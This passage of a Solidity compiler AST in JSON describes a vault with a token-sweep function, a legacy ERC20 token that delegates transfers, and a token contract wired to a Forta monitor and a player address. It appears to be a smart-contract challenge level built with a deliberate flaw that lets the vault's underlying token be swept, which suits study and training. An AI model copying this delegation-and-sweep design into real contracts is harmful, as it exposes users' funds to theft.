IERC20"}},"src":"1810:19:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"43616e2774207472616e7366657220756e6465726c79696e6720746f6b656e","id":51627,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1831:33:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""},"value":"Can't transfer underlying token"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_afe5ae312d1dc567ebdca136d83d2303b52af32d849793d70967a32a40d46a54","typeString":"literal_string \"Can't transfer underlying token\""}],"id":51623,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1802:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1802:63:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51629,"nodeType":"ExpressionStatement","src":"1802:63:71"},{"expression":{"arguments":[{"id":51633,"name":"sweptTokensRecipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51579,"src":"1890:20:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":51638,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1936:4:71","typeDescriptions":{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_CryptoVault_$51645","typeString":"contract CryptoVault"}],"id":51637,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1928:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51636,"name":"address","nodeType":"ElementaryTypeName","src":"1928:7:71","typeDescriptions":{}}},"id":51639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1928:13:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51634,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1912:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51635,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1918:9:71","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1912:15:71","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1912:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51630,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1875:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51632,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1881:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47906,"src":"1875:14:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1875:68:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51642,"nodeType":"ExpressionStatement","src":"1875:68:71"}]},"functionSelector":"1be19560","implemented":true,"kind":"function","modifiers":[],"name":"sweepToken","nameLocation":"1760:10:71","parameters":{"id":51621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51620,"mutability":"mutable","name":"token","nameLocation":"1778:5:71","nodeType":"VariableDeclaration","scope":51644,"src":"1771:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51619,"nodeType":"UserDefinedTypeName","pathNode":{"id":51618,"name":"IERC20","nameLocations":["1771:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1771:6:71"},"referencedDeclaration":47939,"src":"1771:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"internal"}],"src":"1770:14:71"},"returnParameters":{"id":51622,"nodeType":"ParameterList","parameters":[],"src":"1792:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"CryptoVault","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51645],"name":"CryptoVault","nameLocation":"1379:11:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51720,"nodeType":"ContractDefinition","src":"1954:596:71","nodes":[{"id":51654,"nodeType":"VariableDeclaration","src":"2021:29:71","nodes":[],"constant":false,"functionSelector":"c89e4361","mutability":"mutable","name":"delegate","nameLocation":"2042:8:71","scope":51720,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51653,"nodeType":"UserDefinedTypeName","pathNode":{"id":51652,"name":"DelegateERC20","nameLocations":["2021:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2021:13:71"},"referencedDeclaration":51463,"src":"2021:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"public"},{"id":51669,"nodeType":"FunctionDefinition","src":"2057:93:71","nodes":[],"body":{"id":51668,"nodeType":"Block","src":"2116:34:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51664,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51656,"src":"2132:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51665,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51658,"src":"2136:6:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51663,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"2126:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2126:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51667,"nodeType":"ExpressionStatement","src":"2126:17:71"}]},"functionSelector":"40c10f19","implemented":true,"kind":"function","modifiers":[{"id":51661,"kind":"modifierInvocation","modifierName":{"id":51660,"name":"onlyOwner","nameLocations":["2106:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2106:9:71"},"nodeType":"ModifierInvocation","src":"2106:9:71"}],"name":"mint","nameLocation":"2066:4:71","parameters":{"id":51659,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51656,"mutability":"mutable","name":"to","nameLocation":"2079:2:71","nodeType":"VariableDeclaration","scope":51669,"src":"2071:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51655,"name":"address","nodeType":"ElementaryTypeName","src":"2071:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51658,"mutability":"mutable","name":"amount","nameLocation":"2091:6:71","nodeType":"VariableDeclaration","scope":51669,"src":"2083:14:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51657,"name":"uint256","nodeType":"ElementaryTypeName","src":"2083:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2070:28:71"},"returnParameters":{"id":51662,"nodeType":"ParameterList","parameters":[],"src":"2116:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51682,"nodeType":"FunctionDefinition","src":"2156:114:71","nodes":[],"body":{"id":51681,"nodeType":"Block","src":"2231:39:71","nodes":[],"statements":[{"expression":{"id":51679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51677,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2241:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51678,"name":"newContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51672,"src":"2252:11:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"src":"2241:22:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51680,"nodeType":"ExpressionStatement","src":"2241:22:71"}]},"functionSelector":"1d2d8400","implemented":true,"kind":"function","modifiers":[{"id":51675,"kind":"modifierInvocation","modifierName":{"id":51674,"name":"onlyOwner","nameLocations":["2221:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2221:9:71"},"nodeType":"ModifierInvocation","src":"2221:9:71"}],"name":"delegateToNewContract","nameLocation":"2165:21:71","parameters":{"id":51673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51672,"mutability":"mutable","name":"newContract","nameLocation":"2201:11:71","nodeType":"VariableDeclaration","scope":51682,"src":"2187:25:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51671,"nodeType":"UserDefinedTypeName","pathNode":{"id":51670,"name":"DelegateERC20","nameLocations":["2187:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2187:13:71"},"referencedDeclaration":51463,"src":"2187:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"internal"}],"src":"2186:27:71"},"returnParameters":{"id":51676,"nodeType":"ParameterList","parameters":[],"src":"2231:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51719,"nodeType":"FunctionDefinition","src":"2276:272:71","nodes":[],"body":{"id":51718,"nodeType":"Block","src":"2352:196:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51694,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2374:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}],"id":51693,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2366:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51692,"name":"address","nodeType":"ElementaryTypeName","src":"2366:7:71","typeDescriptions":{}}},"id":51695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2366:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51698,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2395:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2387:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51696,"name":"address","nodeType":"ElementaryTypeName","src":"2387:7:71","typeDescriptions":{}}},"id":51699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2387:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2366:31:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":51716,"nodeType":"Block","src":"2462:80:71","statements":[{"expression":{"arguments":[{"id":51710,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2509:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51711,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2513:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":51712,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2520:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51713,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2524:6:71","memberName":"sender","nodeType":"MemberAccess","src":"2520:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51708,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2483:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51709,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2492:16:71","memberName":"delegateTransfer","nodeType":"MemberAccess","referencedDeclaration":51462,"src":"2483:25:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$_t_address_$returns$_t_bool_$","typeString":"function (address,uint256,address) external returns (bool)"}},"id":51714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2483:48:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51715,"nodeType":"Return","src":"2476:55:71"}]},"id":51717,"nodeType":"IfStatement","src":"2362:180:71","trueBody":{"id":51707,"nodeType":"Block","src":"2399:57:71","statements":[{"expression":{"arguments":[{"id":51703,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2435:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51704,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2439:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51701,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2420:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_LegacyToken_$51720_$","typeString":"type(contract super LegacyToken)"}},"id":51702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2426:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"2420:14:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) returns (bool)"}},"id":51705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2420:25:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51706,"nodeType":"Return","src":"2413:32:71"}]}}]},"baseFunctions":[47399],"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"2285:8:71","overrides":{"id":51688,"nodeType":"OverrideSpecifier","overrides":[],"src":"2328:8:71"},"parameters":{"id":51687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51684,"mutability":"mutable","name":"to","nameLocation":"2302:2:71","nodeType":"VariableDeclaration","scope":51719,"src":"2294:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51683,"name":"address","nodeType":"ElementaryTypeName","src":"2294:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51686,"mutability":"mutable","name":"value","nameLocation":"2314:5:71","nodeType":"VariableDeclaration","scope":51719,"src":"2306:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51685,"name":"uint256","nodeType":"ElementaryTypeName","src":"2306:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2293:27:71"},"returnParameters":{"id":51691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51690,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51719,"src":"2346:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51689,"name":"bool","nodeType":"ElementaryTypeName","src":"2346:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2345:6:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"4c6567616379546f6b656e","id":51647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1984:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0ee2e886d48b449eae8c58f774e5f0080cabd01bbf86d262bcecfd0ead310326","typeString":"literal_string \"LegacyToken\""},"value":"LegacyToken"},{"hexValue":"4c4754","id":51648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1999:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_40ef642736e132b36c3ad2894c4d80ce0afe649c34017ca8cb01deee50079ab7","typeString":"literal_string \"LGT\""},"value":"LGT"}],"baseName":{"id":51646,"name":"ERC20","nameLocations":["1978:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1978:5:71"},"id":51649,"nodeType":"InheritanceSpecifier","src":"1978:27:71"},{"baseName":{"id":51650,"name":"Ownable","nameLocations":["2007:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2007:7:71"},"id":51651,"nodeType":"InheritanceSpecifier","src":"2007:7:71"}],"canonicalName":"LegacyToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51720,46700,47861,47964,47939,48281],"name":"LegacyToken","nameLocation":"1963:11:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]},{"id":51850,"nodeType":"ContractDefinition","src":"2552:1365:71","nodes":[{"id":51730,"nodeType":"VariableDeclaration","src":"2649:26:71","nodes":[],"constant":false,"functionSelector":"d444d8a0","mutability":"mutable","name":"cryptoVault","nameLocation":"2664:11:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51729,"name":"address","nodeType":"ElementaryTypeName","src":"2649:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51732,"nodeType":"VariableDeclaration","src":"2681:21:71","nodes":[],"constant":false,"functionSelector":"48db5f89","mutability":"mutable","name":"player","nameLocation":"2696:6:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51731,"name":"address","nodeType":"ElementaryTypeName","src":"2681:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51734,"nodeType":"VariableDeclaration","src":"2708:28:71","nodes":[],"constant":false,"functionSelector":"26fe9951","mutability":"mutable","name":"delegatedFrom","nameLocation":"2723:13:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51733,"name":"address","nodeType":"ElementaryTypeName","src":"2708:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51737,"nodeType":"VariableDeclaration","src":"2742:18:71","nodes":[],"constant":false,"functionSelector":"d8670e1f","mutability":"mutable","name":"forta","nameLocation":"2755:5:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":51736,"nodeType":"UserDefinedTypeName","pathNode":{"id":51735,"name":"Forta","nameLocations":["2742:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"2742:5:71"},"referencedDeclaration":51577,"src":"2742:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"public"},{"id":51772,"nodeType":"FunctionDefinition","src":"2767:288:71","nodes":[],"body":{"id":51771,"nodeType":"Block","src":"2867:188:71","nodes":[],"statements":[{"expression":{"id":51750,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51748,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"2877:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51749,"name":"legacyToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51739,"src":"2893:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2877:27:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51751,"nodeType":"ExpressionStatement","src":"2877:27:71"},{"expression":{"id":51756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51752,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"2914:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51754,"name":"fortaAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51743,"src":"2928:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51753,"name":"Forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51577,"src":"2922:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Forta_$51577_$","typeString":"type(contract Forta)"}},"id":51755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2922:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"src":"2914:27:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51757,"nodeType":"ExpressionStatement","src":"2914:27:71"},{"expression":{"id":51760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51758,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"2951:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51759,"name":"playerAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51745,"src":"2960:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2951:22:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51761,"nodeType":"ExpressionStatement","src":"2951:22:71"},{"expression":{"id":51764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51762,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"2983:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51763,"name":"vaultAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51741,"src":"2997:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2983:26:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51765,"nodeType":"ExpressionStatement","src":"2983:26:71"},{"expression":{"arguments":[{"id":51767,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"3025:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51768,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3038:9:71","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"id":51766,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"3019:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3019:29:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51770,"nodeType":"ExpressionStatement","src":"3019:29:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51746,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51739,"mutability":"mutable","name":"legacyToken","nameLocation":"2787:11:71","nodeType":"VariableDeclaration","scope":51772,"src":"2779:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51738,"name":"address","nodeType":"ElementaryTypeName","src":"2779:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51741,"mutability":"mutable","name":"vaultAddress","nameLocation":"2808:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2800:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51740,"name":"address","nodeType":"ElementaryTypeName","src":"2800:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51743,"mutability":"mutable","name":"fortaAddress","nameLocation":"2830:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2822:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51742,"name":"address","nodeType":"ElementaryTypeName","src":"2822:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51745,"mutability":"mutable","name":"playerAddress","nameLocation":"2852:13:71","nodeType":"VariableDeclaration","scope":51772,"src":"2844:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51744,"name":"address","nodeType":"ElementaryTypeName","src":"2844:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2778